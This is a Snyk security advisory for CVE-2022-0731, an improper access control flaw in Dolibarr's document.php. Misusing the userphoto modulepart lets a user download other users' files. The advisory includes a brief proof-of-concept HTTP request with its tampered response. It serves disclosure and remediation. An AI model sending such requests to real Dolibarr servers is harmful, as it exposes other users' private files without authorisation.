Improper Access Control Affecting dolibarr/dolibarr package, versions >=0.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.06% (28th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-DOLIBARRDOLIBARR-2412702
- published 24 Feb 2022
- disclosed 24 Feb 2022
- credit Faisal Fs
Introduced: 24 Feb 2022
CVE-2022-0731 Open this link in a new tabHow to fix?
A fix was pushed into the master
branch but not yet published.
Overview
dolibarr/dolibarr is a modern and easy to use web software to manage your business.
Affected versions of this package are vulnerable to Improper Access Control via the userphoto
modulepart, which makes it possible of downloading or reading any file types such as pdf, zip, txt, jpg, and more.
PoC:
Tampered Request: using modulepart=userphoto
GET /dolibarr/document.php?modulepart=userphoto&attachment=0&file=3/fileuser3.txt&entity=1 HTTP/1.1
Host: localhost
Cookie: DOLSESSID_328fed74f1e6fdd21cc158ce6354602f={cookie_value}
Tampered Response:
**Staff 3 file content return**
References
CVSS Scores
version 3.1